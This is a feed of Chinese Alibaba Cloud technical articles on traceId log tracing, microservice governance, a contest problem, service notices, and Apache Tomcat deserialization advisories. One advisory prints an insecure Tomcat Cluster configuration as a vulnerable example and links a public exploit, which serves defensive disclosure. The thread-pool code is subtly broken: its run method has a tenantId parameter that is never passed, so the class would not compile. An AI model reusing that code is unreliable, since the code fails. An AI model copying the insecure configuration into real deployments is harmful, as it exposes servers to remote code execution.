              return FORM_BODY_WRAPPER_FILTER_ORDER - 1;
          }
      
          @Override
          public boolean shouldFilter() {
              //根据配置控制是否开启过滤器
              return traceProperties.getEnable();
          }
      
          @Override
          public Object run() {
              //链路追踪id
              String traceId = IdUtil.fastSimpleUUID();
              MDC.put(CommonConstant.LOG_TRACE_ID, traceId);
              RequestContext ctx = RequestContext.getCurrentContext();
              ctx.addZuulRequestHeader(CommonConstant.TRACE_ID_HEADER, traceId);
              return null;
          }
      }

       

      3.3. 下游服务增加spring拦截器

      接收并保存traceId的值
      拦截器

      public class TraceInterceptor implements HandlerInterceptor {
          @Override
          public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
              String traceId = request.getHeader(CommonConstant.TRACE_ID_HEADER);
              if (StrUtil.isNotEmpty(traceId)) {
                  MDC.put(CommonConstant.LOG_TRACE_ID, traceId);
              }
              return true;
          }
      }

      注册拦截器

      public class DefaultWebMvcConfig extends WebMvcConfigurationSupport {
        @Override
        protected void addInterceptors(InterceptorRegistry registry) {
          //日志链路追踪拦截器
          registry.addInterceptor(new TraceInterceptor()).addPathPatterns("/**");
      
          super.addInterceptors(registry);
        }
      }

       

      3.4. 下游服务增加feign拦截器

      继续把当前服务的traceId值传递给下游服务

      public class FeignInterceptorConfig {
          @Bean
          public RequestInterceptor requestInterceptor() {
              RequestInterceptor requestInterceptor = template -> {
                  //传递日志traceId
                  String traceId = MDC.get(CommonConstant.LOG_TRACE_ID);
                  if (StrUtil.isNotEmpty(traceId)) {
                      template.header(CommonConstant.TRACE_ID_HEADER, traceId);
                  }
              };
              return requestInterceptor;
          }
      }

       

      3.5. 扩展线程池

      主要针对业务会使用线程池(异步、并行处理),并且spring自己也有@Async注解来使用线程池,所以需要扩展ThreadPoolTaskExecutor线程池实现将父线程的MDC内容复制给子线程

      public class CustomThreadPoolTaskExecutor extends ThreadPoolTaskExecutor {
          /**
           * 把父线程的MDC内容赋值给子线程
           * @param runnable
           */
          @Override
          public void execute(Runnable runnable) {
              Map<String, String> mdcContext = MDC.getCopyOfContextMap();
              super.execute(() -> run(runnable, mdcContext));
          }
      
          @Override
          public <T> Future<T> submit(Callable<T> task) {
              Map<String, String> mdcContext = MDC.getCopyOfContextMap();
              return super.submit(() -> call(task, mdcContext));
          }
      
          /**
           * 子线程委托的执行方法
           * @param runnable {@link Runnable}
           * @param mdcContext 父线程MDC内容
           */
          private void run(Runnable runnable, String tenantId, Map<String, String> mdcContext) {
              // 将父线程的MDC内容传给子线程
              if (mdcContext != null) {
                  MDC.setContextMap(mdcContext);
              }
              try {
                  // 执行异步操作
                  runnable.run();
              } finally {
                  // 清空MDC内容
                  MDC.clear();
              }
          }
      
          /**
           * 子线程委托的执行方法
           * @param task {@link Callable}
           * @param mdcContext 父线程MDC内容
           */
          private <T> T call(Callable<T> task, Map<String, String> mdcContext) throws Exception {
              // 将父线程的MDC内容传给子线程
              if (mdcContext != null) {
                  MDC.setContextMap(mdcContext);
              }
              try {
                  // 执行异步操作
                  return task.call();
              } finally {
                  // 清空MDC内容
                  MDC.clear();
              }
          }
      }

       

      四、场景测试

      4.1. 测试代码如下

      测试代码.png

       

      4.2. api网关打印的日志

      网关生成traceId值为13d9800c8c7944c78a06ce28c36de670
      网关生成traceId.png

       

      4.3. 请求跳转到文件服务时打印的日志

      显示的traceId与网关相同,这里特意模拟发生异常的场景
      模拟异常.png

       

      4.4. ELK聚合日志通过traceId查询整条链路日志

      当系统出现异常时,可直接通过该异常日志的traceId的值,在日志中心中询该请求的所有日志信息
      日志列表.png

       

      五、源码下载

      附上我的开源微服务框架(包含本文中的代码),欢迎 star 关注
      https://gitee.com/zlt2000/microservices-platform

      ]]>
      下一代云原生应用制品管理平台,容器镜像服务企业版(ACR EE)优惠进行时 Fri, 02 May 2025 09:39:04 +0800 随着越来越多的企业拥抱容器、拥抱云原生技术,享受技术带来的弹性、敏捷、可移植的便利,但是在实现容器技术生产落地时,很难规避以下痛点问题:

      1、 运维复杂度:需要自建一个高可用的镜像服务去面对峰值流量等弹性场景,并且实时关注及时扩容;当面对全球多地域部署的场景,还要运维管理复杂的网络拓扑图。
      2、 安全风险:容器具备有高密部署、高动态、自动恢复等一些特性,会给业务安全带来极大的挑战。
      3、 生态闭环:容器镜像的托管、部署、运行时监控需要一整套的解决方案。

      容器镜像服务企业版(ACR EE)将从四个维度解决以上痛点问题:

      1、 云原生制品托管:提供多架构容器镜像托管支持,多版本Helm Chart的托管;提供从源代码到标准容器镜像构建服务,也支持海外构建、智能构建、自动化构建、多阶段构建等构建能力。
      2、 多维度安全保障:提供制品加密存储;支持镜像安全扫描,多维度扫描保障镜像内容安全;此外提供镜像加签能力,保障整个镜像分发链路上的安全可信;细粒度网络访问控制管理,保障公网和VPC端网络下的访问安全。
      3、 加速应用分发:覆盖在全球主要地域、提供多种同步策略和网络链路优化,保障镜像分发的高效、稳定、安全;单集群、多节点的场景下支持多种大规模分发。
      4、 提效应用交付:DevSecOps全面升级;提供云原生交付链的能力,支持全链路可观测、可追踪、可设置;多种策略支持,保障安全交付。
      90D80AF9-30EB-4AF4-8AAE-BDEDDD4FBC8B.png

      企业版( ACR EE),是解决云原生应用制品安全托管与高效分发的最热方案,目前众多行业 Top 企业已在大规模使用。

      选择容器镜像企业版(ACR EE),享受容器技术带来的便利的同时,轻松规避容器技术生产落地伴随的问题。活动期间新购享9.5折优惠,续费享9折优惠哟~(包年直享8.5折优惠)

      产品购买传送门:https://www.aliyun.com/product/acr
      优惠直享链接:https://common-buy.aliyun.com/?commodityCode=acr_ee_public_cn
      了解更多 :https://help.aliyun.com/document_detail/60945.html

      ]]>
      如何提升微服务的幸福感 Fri, 02 May 2025 09:39:04 +0800 前言

      随着微服务的流行,越来越多公司使用了微服务框架,微服务以其的高内聚、低耦合等特性,提供了更好的容错性,也更适应业务的快速迭代,为开发人员带来了很多的便利性。但是随着业务的发展,微服务拆分越来越复杂,微服务的治理也成了一个比较令人头疼的问题,我相信下面这些场景大家或多或少都遇到过。

      • 场景一: 发布是天大的事情,每一次的发布,都会出现执行到一半的请求中断掉,上游继续调用已经下线的节点导致报错。发布时收到各种报错,同时还影响用户的体验。发布后又需要修复执行到一半的脏数据。

      上述场景还是在新版本没有任何问题的情况下,如果新版本有问题,则会导致大量业务直接请求到有问题的新版本,轻则修复数据,重则严重影响用户体验,甚至产生资损。最后不得不每次发版都安排在凌晨两三点发布,心惊胆颤,睡眠不足,苦不可言。

      • 场景二:大半夜某个服务节点出现异常,上游仍旧不断地调用,出现很多异常和各种报警短信。被报警吵醒后,想直接在线上修复,有点难,想保留现场又害怕拖垮整个应用,只好先重启为上。

      但是这只是治标不治本的方式,因为很难复现从而无法有效定位,可能明天又被吵醒,继续重启。上述场景还是建立在报警系统比较完善的情况下,如果没有完善的报警系统,严重情况可能整个业务系统都被单机异常拖垮。

      • 场景三:公司业务壮大了,部门组织变复杂后,微服务模块越来越多。我不清楚发布的服务到底被谁调用了,所以我不知道能否安全地下线一个服务。我这个应用的这个接口是个敏感接口,我只希望得到我授权的应用才能调用,而不是直接从服务注册中心得到我的地址就能直接调用,但是目前好像还做不到。

      以上三个场景确实是使用微服务之后带来的痛点,这时候有个人告诉你,这些问题,我都知道怎么搞定,我有着丰富的经验,知道怎么解决,你肯定很开心。

      然后花高薪请进来了,确实不错,各种架构图、框架原理,框架修改点都非常清晰而且功能确实完美。最后评估对当前系统的修改成本,需要搭建三套中间件服务端,增加 4 个中间件依赖,修改几万行代码和配置。

      “打扰了,还是业务重要,产品经理给的需求还没完成呢,刚刚说的场景也没那么痛苦,不就几个小问题嘛,真的没事。”

      这时候 EDAS 告诉你,EDAS 的微服务解决方案,不需要做任何的代码和配置的修改,就能完美地解决上面说的三个场景中的问题。

      你,不心动吗?

      是的,你没看错,只要你的应用是基于 Spring Cloud 或 Dubbo 最近五年内的版本开发,就能直接使用完整的 EDAS 微服务治理能力,不需要修改任何代码和配置。

      为什么 EDAS 用户可以轻松发布

      传统的发布流程真的很容易出错

      传统的发布流程中,服务提供者停止再启动,服务消费者感知到服务提供者节点停止的流程如下:

      1

      1. 服务发布前,消费者根据负载均衡规则调用服务提供者,业务正常。
      2. 服务提供者 B 需要发布新版本,先对其中的一个节点进行操作,首先是停止 java 进程。
      3. 服务停止过程,又分为主动注销和被动注销,主动注销是准实时的,被动注销的时间由不同的注册中心决定,最差的情况会需要 1 分钟。

        1. 如果应用是正常停止,Spring Cloud 和 Dubbo 框架的 Shutdown Hook 能正常被执行,这一步的耗时可以忽略不计。
        2. 如果应用是非正常停止,比如直接使用 kill -9 停止,或者 Docker 镜像构建的时候 java 应用不是 1 号进程且没有把 kill 信号传递给应用。那么服务提供者不会主动去注销服务节点,而是在超过一段时间后由于心跳超时而被动地被注册中心摘除。
      4. 服务注册中心通知消费者,其中的一个服务提供者节点已下线。包含推送和轮询两种方式,推送可以认为是准实时的,轮询的耗时由服务消费者轮询间隔决定,最差的情况下需要 1 分钟。
      5. 服务消费者刷新服务列表,感知到服务提供者已经下线了一个节点,这一步对于 Dubbo 框架来说不存在,但是 Spring Cloud 的负载均衡组件 Ribbon 默认的刷新时间是 30 秒 ,最差情况下需要耗时 30 秒。
      6. 服务消费者不再调用已经下线的节点。

      从第 2 步到第 6 步的过程中,Eureka 在最差的情况下需要耗时 2 分钟,Nacos 在最差的情况下需要耗时 50 秒。在这段时间内,请求都有可能出现问题,所以发布时会出现各种报错,同时还影响用户的体验,发布后又需要修复执行到一半的脏数据。最后不得不每次发版都安排在凌晨两三点发布,心惊胆颤,睡眠不足,苦不可言。

      为什么 EDAS 用户不需要修数据

      当您的应用部署到 EDAS 之后,EDAS 的无损下线功能会自动在发布新版本的时候做如下的增强,我们主要关注绿色部分的信息:

      2

      1. 应用在发布前后主要向注册中心注销应用,并将应用标记为已下线的状态。
      2. 在接收到服务消费者请求时,首先会正常处理本次调用,并通知服务消费者此节点已下线,服务消费者会立即从调用列表删除此节点。
      3. 在这之后,服务消费者不再调用已经下线的节点。

      EDAS 的无损下线功能,将原来的从原来的 停止进程阶段 注销服务变成了 prestop 阶段注销服务,将原来的依赖于 注册中心推送,做到了服务提供者直接通知消费者从调用列表中摘除自己。使得下线感知的时间大大减短,从原来的分钟级别做到准实时,确保您的应用在下线时能做到业务无损。

      金丝雀发布为 EDAS 用户再加一重保障

      在普通的新版本发布场景中,默认情况下请求到各个节点的流量是均匀分布的。

      假设服务提供者有 4 台,只要某个节点一发布新版本,就会有 25% 的流量打到新版本。如果新版本存在问题,就会影响线上 25% 的流量,轻则修复数据,重则严重影响用户体验,甚至产生资损。

      3

      EDAS 提供的金丝雀发布功能,支持 EDAS 用户在发布新版本之前就提前配置好金丝雀规则,使得只有符合流量特征的流量会调用到新版本,从而可以精准地控制调用到新版本的流量,进行新版本验证。

      4

      如图所示,EDAS 的用户可以在发布之前配置好金丝雀规则。

      这里以 Dubbo 为例,下图中配置表明 调用 com.alibaba.edas.demo.EchoService.echo(String string) 的流量中,只有参数为 "helloworld" 的流量才会被路由到新版本。

      5

      在服务提供者的将服务注册到注册中心前,EDAS 已经将新版本对应的金丝雀规则推送到服务消费者端。服务消费者在调用的时候,会根据金丝雀规则对流量进行分析,并与服务提供者列表中的元数据进行进行比对,选择正确的调用地址。

      除了上图中演示的简单参数比对之外,EDAS 也支持解析更复杂的结构体进行规则配置。当然,如果某个场景只需要控制流量百分比就能满足需求,EDAS 用户也可以直接按比例进行灰度。

      EDAS 金丝雀发布 将路由到新版本的流量,从所占总节点数的百分比转变成了根据流量特征进行控制。您可以自由地控制路由到新版本的流量,比如只将内部测试账号对流量路由到新版本,从而做到小心发布、大胆验证。所以,赶紧来 EDAS 进行轻松发布吧。

      为什么 EDAS 用户不需要半夜醒来重启机器

      开源框架有可能被单点异常拖垮整个应用系统

      在微服务架构中,当服务提供者的应用实例出现异常时,服务消费者无法及时感知,会影响服务的正常调用,进而影响消费者的服务性能甚至可用性。

      6

      在上图的示例场景中,系统包含 4 个应用,A、B、C 和 D,其中应用 A 会分别调用应用 B、C 和 D。当应用 B、C 或 D 的某些实例异常时(如图中应用 B、C 和 D 标识的各有 1个和 2 个异常实例),如果应用 A 无法感知,会导致部分调用失败;如果业务代码写的不够优雅,有可能影响应用 A 的性能甚至整个系统的可用性。

      离群实例摘除给业务系统的稳定性加把锁

      为了保护应用到服务性能和可用性,EDAS 支持检测应用实例的可用性并进行动态调整,以保证服务成功调用,从而提升业务的稳定性和服务质量。

      如下图所示,EDAS 用户可以在控制台上对应用 A 进行如下配置,从而保证 A 应用的稳定性。

      7

      • 异常类型 网络异常指的的 IOException,业务异常在 Spring Cloud 框架中指的是返回值 http 状态码 为 500 ,Dubbo 框架中指的是返回值中包含 Exception。
      • QPS 下限 为了避免调用次数太少,随机性较大从而影响判断的准确性,您可以设置 QPS 的下限,只有 QPS 达到一定值后才进行离群摘除判断。默认为 1 ,可以配置成 0。
      • 错误率下限 如果某台服务提供者返回值中,错误的比例超过了配置的这个值,会被判定成需要被摘除。
      • 摘除实例比例上限 为了避免摘除过多的机器节点,导致剩余的节点数流量过载,需要配置一个摘除比例的上限,建议不超过 50%。
      • 恢复检测单位时间 离群节点被摘除的动作是暂时性的,经过单位时间后,消费者侧会对此节点进行检测。如果节点已经恢复,会将其放回到节点中。如果节点持续被摘除,那么它被摘除的时间会线性增加到最大值。

      基于离群实例摘除功能,EDAS 用户不会因为单机异常在半夜醒来重启机器,先安心地睡一觉吧,反正业务也不会受影响。醒来之后机器现场也还在,是拿着保留的现场进行分析,还是直接重启,任君选择。

      为什么 EDAS 用户对自己的服务胸有成竹

      服务查询一目了然

      我们熟知的 zookeeper 组件并没有服务查询界面,Eureka 和 Nacos 这两个注册中心,虽然提供了网页版的控制台,但是在控制台上只能查询到服务的 ip 和 port 等基本的信息。

      EDAS 用户在使用服务查询时,不仅能够查询到应用注册了哪些服务,对应的 ip 和 port 是什么,还能服务包含的具体方法和参数,以及直观地看到服务被其他应用和节点的订阅情况。

      88

      即使部门组织再复杂、微服务模块再多,EDAS 的用户也可以清晰地查询出服务的被调用情况,做到心中有数,在梳理服务依赖以及评估影响面的时候可以做到胸有成竹。

      精准地控制服务调用的权限

      业务发展后,服务还会遇到权限控制的需求。比如优惠券部门的某个应用,同时包含了优惠券查询接口 和优惠券发放接口。对于优惠券查询接口来说,默认公司内部的所有应用都有权限调用的;但优惠券发放接口只有客服和运营部门的某些应用才有权限调用。

      如下图所示,EDAS 用户可以对自己的服务进行权限管理,这里以 Dubbo 为例,下图中配置表明,应用 cartService 发布的 com.alibaba.edas.demo.EchoService 服务的 addItemToCart 的方法,只允许 frontend 这个应用调用。

      9

      除了支持对指定的接口添加鉴权规则之外,服务鉴权也支持对整个应用添加鉴权规则,还支持调用方根据调用方 IP 进行鉴权。

      精准的权限管理,可以让你更好地管理微服务调用的权限,保证业务的合规性,保障数据的安全。

      EDAS 微服务治理使用成本真的很低

      使用 EDAS 微服务治理的成本真的已经低得不能再低,不需要修改任何代码和配置,直接将应用部署上来就可以享受完整的 EDAS 微服务治理能力。

      只要你的应用是基于 Spring Cloud 或 Dubbo 最近五年内的版本开发,就能直接使用完整的 EDAS 微服务治理能力,赶快来体验吧!

      文末有很硬的广告

      阿里云 云原生 微服务产品研发团队 正在招人,我们需要志同道合的你,一起将微服务治理的功能建设得更好,让应用的开发更加简单,让应用的运行更加稳定,实现业务永远在线。

      除了 EDAS 和 MSE(微服务引擎)这些微服务产品之外,我们还有 ARMS (应用实时监控服务)、ACM(应用配置管理)、SAE(Serverless 应用引擎)等云产品,也迫切地等待你的到来。

      联系方式:yizhan.xj@alibaba-inc.com

      作者信息:肖京,花名:亦盏,阿里云智能技术专家,Spring Cloud Alibaba PMC 。主要负责阿里云微服务产品的研发工作,关注微服务、云原生等技术方向。
      _

      ]]>
      赛题解析 | 初赛赛道三:服务网格控制面分治体系构建 Fri, 02 May 2025 09:39:04 +0800 首届云原生编程挑战赛正在报名中,初赛共有三个赛道,题目如下:

      赛道一:实现一个分布式统计和过滤的链路追踪
      赛道二:实现规模化容器静态布局和动态迁移
      赛道三:服务网格控制面分治体系构建

      立即报名(报名时间即日起至06/29):https://tianchi.aliyun.com/specials/promotion/cloudnative#problem-definition

      本文主要针对赛道三题目做出剖析,帮助选手更高效的解题。

      背景知识

      “服务网格” 是近年来非常火热的技术,其全托管的思维非常适合云原生场景。“服务网格” 核心分为控制面与数据面:数据面主要是一个名为 Sidecar 的代理组件,它通过接收控制面发送的路由与控制信息来定向转发或处理数据。这样一些坐落在服务网格里的应用就将整个分布式逻辑交给了底层,自己不用关心了。一旦与底层解耦,灵活性大大增加,更符合云原生的标准。

      题目解析

      本题的核心考查点还是如何让服务网格的控制面支撑大规模的 Sidecar 实例。为什么会产生这个问题呢?因为在目前服务网格影响最广的实现 Istio 架构中,控制平面 Pilot 负责整个系统的路由转译工作,也就是说所有服务的实例信息都需要通过 Pilot 下发给每一个 Sidecar,当然用户可以通过 SidecarScope 来设置个别 Sidecar 对于系统服务的可见性,但这只会影响到 Sidecar 接受到的数据而已,Pilot 仍然是全量从注册中心同步(例如 Consul,K8s 的 CoreDNS 等),如此一来随着接入应用的增加,Pilot 不能横向扩容,很快便会成为性能瓶颈(内存不够用啊)。

      1.png

      题目提出了分治的解法,而选手们的任务就是优化分治逻辑,使整体负载均衡。为了理解题目,我们首先需要弄清楚什么是分治。所谓的分治就是将负载分成一个个独立的子系统,然后分别处理他们,这样就将问题化小了,比如我们常见的合并排序,就是分治的典型应用。按题目的解释,控制面的分治是按应用维度进行划分的,也就说坐落在服务网格中的应用将被划分到不同的子系统中。

      2.png

      上图中,就被划分成了左右两个子系统。应用之间存在相互依赖即服务依赖,在本题中一个应用只提供一个服务,因此应用所连接的 Pilot 需要加载的数据就是其依服务。由于分治的存在,每个 Pilot 不需要加载所有的服务了,这样当更多的应用接入时,我们就可以进行横向扩容解决容量问题。

      3.png

      上图中为什么每个分治组加载的数据不是完全隔离的呢?这里的原因是应用的依赖是错综复杂的,如果我们把每个应用一个点表示,依赖用一条线表示,那么实际生产中,几乎是不可能形成孤岛的,原因是:每个应用依赖的服务是有重叠的,而且很多。

      这样我们便不能随意地划分应用,因为如果我们将依赖相似度很高的应用划分到不同的 Pilot 上,会导致同样的依赖在多个 Pilot 上加载,造成内存消耗增加。反过来,如果将所有应用都挂到同一个 Pilot 上,那么加载的内存总量是最少的,不过连接就极度不均匀了。

      所以本题要求选手优化分治逻辑,让分治系统均匀承压。我们先来看看一评分的公式:
      4.png

      公式也不复杂,分为三个评分项:

      1. Pilot 实际加载内存与理想内存的占比,上文提到,不同应用之间依赖的服务可能会有重叠,因此最理想的状态就是所有服务依赖在整个 Pilot 系统中只加载一次,简单来说就是将有相似依赖的应用都划分到同一个 Pilot 中;
      2. Pilot 的内存标准差,这个就比较直白了,就是让 Pilot 加载的服务尽量均衡,不要出现一个 Pilot 加载很多数据,另一个空闲的状态;
      3. Pilot 连接的标准差,这个与上面的类似,就是要求 Pilot 连接的 Sidecar 尽量均衡。

      由于实际加载的内存肯定是大于等于理想状态内存,因此最左边的分子式始终于大于 1 的,也就是说,这是一个倍率;而标准差是大于等于 0 的,显然想要两个标准差同时为 0 不现实。因此选手的任务就是分配应用,让

      1. 每个 Pilot 加载的服务数相近;
      2. 每个 Pilot 连接的 Sidecar 相近;
      3. 尽量不要重复加载服务。

      什么意思呢,既然我们已经知道了分治就是让应用连接不同的 Pilot ,那么每个应用连接上 Pilot 后便会给其一定的压力。

      连接的应用越多,压力越大,但由于服务存在重叠的现象,因此并不完全是线性关系。例如上图中另一个应用 E 连 接上来后,如果其依赖的服务是 [服务A,服务B,服务E],那么 Pilot 加载的服务仅会增长 1。这就很好的节省了内存开销。

      因此,如何分配应用至每个 Pilot 上,使其满足公式所示条件,就是本题的操作空间与需要解决的问题。

      需要特别注意的是,本题评分分为了 两个阶段,一个是静态的,选手可以一次性拿到一阶段所有数据,这样我们就可以整体分析。二阶段数据都是实时分批给的,因此如何让动态的数据也具备良好的表现亦是解题的一个关键点。另外还需要注意的一点,Pilot 加载的数据是只境不减的,因为在实际生产环境中,不可能将一个应用瞬间迁移到另一个 Pilot 上,因此已有的数据需要保留。

      解题思路

      既然我们知道了得分的要点,那我们就可以围绕这三个点来优化。以下给大家一些分析,以供解题。当然解法很多,下面只是一个列举。

      仅量不要重复加载服务数据

      当然是让依赖相同的应用出现在同一个 Pilot 上,因此我们可以分析应用依赖的相似度,把相似度高的应用归组一起分配。因为依赖是一个列表,我们可以将其视为一个基因片段或者字符串中的一个字符,问题便成了如何在海量字符串中找到相似的。

      Pilot 连接的 Sidecar 相近

      当然是每个 Pilot 都一样为好,理想状态是均分。平均说到是简单,但是我们可不能像切蛋糕那样做呀。每个应用的实例有大有小,那么这里的问题就化为了有一串物品,N 个包他们的价值为 a1, a2, a3……,我们如何放置才能使每个包里物品的价值接近平均值,虽然我们有两个要求相近的值(内存与连接),不过如果我们再把物品的重量考虑进来,参数维度就增加了。

      第二阶段动态部分

      由于第二阶段的数据是不能一次性得到的,因此如何利用已有的数据便成了关键,这里一个方向是类似基于已排序数列进行插入再排序的思想,如何构造这样的一个状态便是关键。

      如何拿好成绩

      由于得分公式是一个整体,单单提升一个是得不到好成绩的,因此要想拿好结果,建模是需要的,这样我们才能知道哪个才是最大的影响因子,或者甚至能够消除一个变量,那就更好了。

      以上内容来自赛道三的明星导师玄胤。

      作者信息:
      玄胤,阿里云高级技术专家,8 年专注软负载领域,从 0 到 1 写过服务百万实例的软负载产品,Nacos 奠基人,《Service Mesh 实战》作者,Istio 社区成员,3项国家发明专利。

      挑战赛交流群

      报名成功后,一定要记得加入咱们的挑战赛交流群哦~

      首届云原生编程挑战赛选手交流群(钉钉群):

      QzpcVXNlcnNcd2Itd3h5NTg0MzIzXEFwcERhdGFcUm9hbWluZ1xEaW5nVGFsa1w2ODY4MzMyNzFfdjJcSW1hZ2VGaWxlc1wxNTkwMTE3NzgzNDIwX0U4REE5MTMzLTY5NEMtNDliNS1CQkQyLTUxN0M2Mjc4MzkyQy5wbmc=.png

      领取通关秘笈:关注“阿里巴巴中间件”公众号,回复:2020,获取大赛玩法解析(包含参赛玩法和奇葩任务的玩法)。

      ]]>
      【升级】5月消息队列AMQP升级计划通知(更新) Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【消息队列AMQP】【升级通知】

      升级窗口:(已更新)

      北京时间2020年5月13日 00:00 - 06:00

      北京时间2020年5月14日 00:00 - 06:00

      北京时间2020年5月20日 00:00 - 06:00

      北京时间2020年5月21日 00:00 - 06:00

      北京时间2020年5月26日 00:00 - 06:00

      北京时间2020年5月27日 00:00 - 06:00

      升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

      升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】5月28/29日Web应用防火墙转发引擎升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【Web应用防火墙转发引擎】【升级通知】

      升级时间:

      2020年5月28日00:00-02:00

      2020年5月29日00:00-02:00

      升级内容:为了提升整个集群的稳定性,提供更加可靠的防护业务保障,Web应用防火墙转发引擎容灾能力升级。

      升级影响:升级期间,深圳集群部分用户的连接可能会闪断或者请求超时,客户端重试即可恢复,因此,对用户业务访问不会产生影响。如需在控制台进行配置管理操作,请避开维护时间段。给您带来的不便敬请谅解,有任何问题,可随时通过工单联系反馈。

      ]]>
      【漏洞预警】Apache Tomcat Session 反序列化代码执行漏洞(CVE-2020-9484) Fri, 02 May 2025 09:39:04 +0800

      2020年5月20日,阿里云应急响应中心监测到Apache Tomcat官方发布安全公告,披露了一个通过持久化Session可能导致远程代码执行的漏洞CVE-2020-9484


      漏洞描述

      Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。攻击者可能可以构造恶意请求,造成反序列化代码执行漏洞。成功利用该漏洞需要同时满足下列四个条件:

      1. 攻击者能够控制服务器上文件的内容和名称

      2. 服务器PersistenceManager配置中使用了FileStore

      3. 服务器PersistenceManager配置中设置了sessionAttributeValueClassNameFilter为NULL,或者使用了其他较为宽松的过滤器,允许攻击者提供反序列化数据对象

      4. 攻击者知道使用的FileStore存储位置到可控文件的相对文件路径。

      整体利用条件较为苛刻,实际危害相对较低,为彻底防止漏洞潜在风险,阿里云应急响应中心仍建议Apache Tomcat用户修复漏洞。


      漏洞评级

      CVE-2020-9484 中危


      影响版本

      Apache Tomcat 10.x < 10.0.0-M5

      Apache Tomcat 9.x < 9.0.35

      Apache Tomcat 8.x < 8.5.55

      Apache Tomcat 7.x < 7.0.104


      安全版本

      Apache Tomcat 10.x >= 10.0.0-M5

      Apache Tomcat 9.x >= 9.0.35

      Apache Tomcat 8.x >= 8.5.55

      Apache Tomcat 7.x >= 7.0.104


      安全建议

      1. 升级Apache Tomcat至安全版本

      2. 禁止使用Session持久化功能FileStore


      相关链接

      https://tomcat.apache.org/security.html



      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.05.20

      ]]>
      【漏洞预警】Apache Tomcat Cluster 不安全配置导致反序列化代码执行漏洞 Fri, 02 May 2025 09:39:04 +0800

      2020年5月21日,阿里云应急响应中心监测到某安全研究人员披露Apache Tomcat在一定条件下使用自带session同步功能时存在反序列化代码执行漏洞,并在GitHub上公布该漏洞远程命令执行可利用EXP程序,风险较大。


      漏洞描述

      Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。当Apache Tomcat集群使用了自带session同步功能,并且没有使用EncryptInterceptor,或者处于不可信的网络环境中,攻击者可能可以构造恶意请求,造成反序列化代码执行漏洞。目前网络上已披露相关利用代码,实际利用需要相关JDK版本支持以及Tomcat Session同步端点可访问。阿里云应急响应中心提醒Apache Tomcat用户尽快排查Cluster相关配置是否安全以防止漏洞攻击。


      安全建议


      漏洞由不安全配置造成,加强配置即可防范漏洞攻击:


      1、若Tomcat启用了session同步功能,配置EncryptInterceptor对通信进行加密,使用参考:http://tomcat.apache.org/tomcat-10.0-doc/config/cluster-interceptor.html#org.apache.catalina.tribes.group.interceptors.EncryptInterceptor_Attributes

      2、禁止Tomcat集群端点对不可信网络开放(只能防范外网攻击,内网依旧有风险)


      不安全配置类似example:


      <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster">
              <Channel className="org.apache.catalina.tribes.group.GroupChannel">
              <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                              address="0.0.0.0"
                              port="5000"
                              selectorTimeout="100"
                              maxThreads="6"/>
              </Channel>
      </Cluster>
      


      阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


      相关链接

      https://github.com/threedr3am/tomcat-cluster-session-sync-exp

      http://tomcat.apache.org/tomcat-10.0-doc/cluster-howto.html

      http://tomcat.apache.org/tomcat-9.0-doc/cluster-howto.html

      http://tomcat.apache.org/tomcat-8.5-doc/cluster-howto.html

      http://tomcat.apache.org/tomcat-7.0-doc/cluster-howto.html



      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.05.21

      ]]>
      优酷播控实践:基于规则引擎的投放管控模型-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      作者| 阿里文娱高级开发工程师 王士欣

      一、规则引擎介绍

      1. 为什么需要规则引擎

      在很多企业的业务系统中,经常会有大量的业务规则配置,而且随着企业管理者的决策变 化,这些业务规则也会随之发生更改。例如,通信运营商的优惠活动:
      1)用户的每月使用总额比上月提高 1 成,超出部分可以享受 6 折优惠;
      2)长途话费超出 200 的,超出部分可以享受八折优惠。
      如果用代码实现,if-else 可以很容易的实现上面的判断逻辑。当规则变化时我们需要修改 这个 if-else 判断逻辑。如果只是这样的逻辑改起来也简单。那么如果再添加新的规则呢?比如:
      1)用户的每月使用总额比上月提高 1 成,超出部分可以享受 6 折优惠;
      2)长途话费超出 200 的,超出部分享受八折优惠;
      3)网费超出 200 的,市话可以享受 5 折优惠,但有一个最高上限,即最多优惠 50 元;
      4)使用增值服务的用户,每月月租减少 10 元;
      5)对于月消费不确定的用户可以签订保底合同,即每月必须要消费到一定的额度,如果不 足将以保底额度来进行计算,超出的费用可以给予半价优惠。
      虽然规则就这五条,编程得话会有很多的 if 语句,并且有很多嵌套的 if-else 语句,而且很 难实现且难维护。当规则需要变更时,为避免牵一发动全身,需要投入很多精力对改动进行测试。
      这时就需要规则引擎将规则计算逻辑和业务系统解耦。

      2. 什么是规则引擎

      规则引擎是一种推理引擎,它是根据已有的事实,从规则知识库中匹配规则,并处理存在 冲突的规则,执行最后筛选通过的规则。因此,规则引擎是人工智能(AI)研究领域的一部分, 具有一定的选择判断性、人工智能性和富含知识性。目前,比较流行的规则引擎有商业规则引 擎 iLog 和开源规则引擎 drools。

      image.png

      3. drools 规则引擎简介

      Drools 具有一个易于访问企业策略、易于调整以及易于管理的开源业务 规则引擎,符合 业内标准,速度快、效率高。业务分析师或审核人员可以利用它轻松查看业务规则,从而检验 已编码的规则是否执行了所需的业务规则。其前身是 Codehaus 的一个开源项目叫 Drools,最 近被纳入 JBoss 门下,更名为 JBoss Rules,成为了 JBoss 应用服务器的规则引擎。
      简而言之,drools 是一个被广泛应用的、高效的开源规则引擎。使用 drools 有一定的学习 成本,初次接触时各种名词:kie、fact、rete、Agenda、rules 等让人眼花缭乱。最常见的 drools 架构:

      image.png

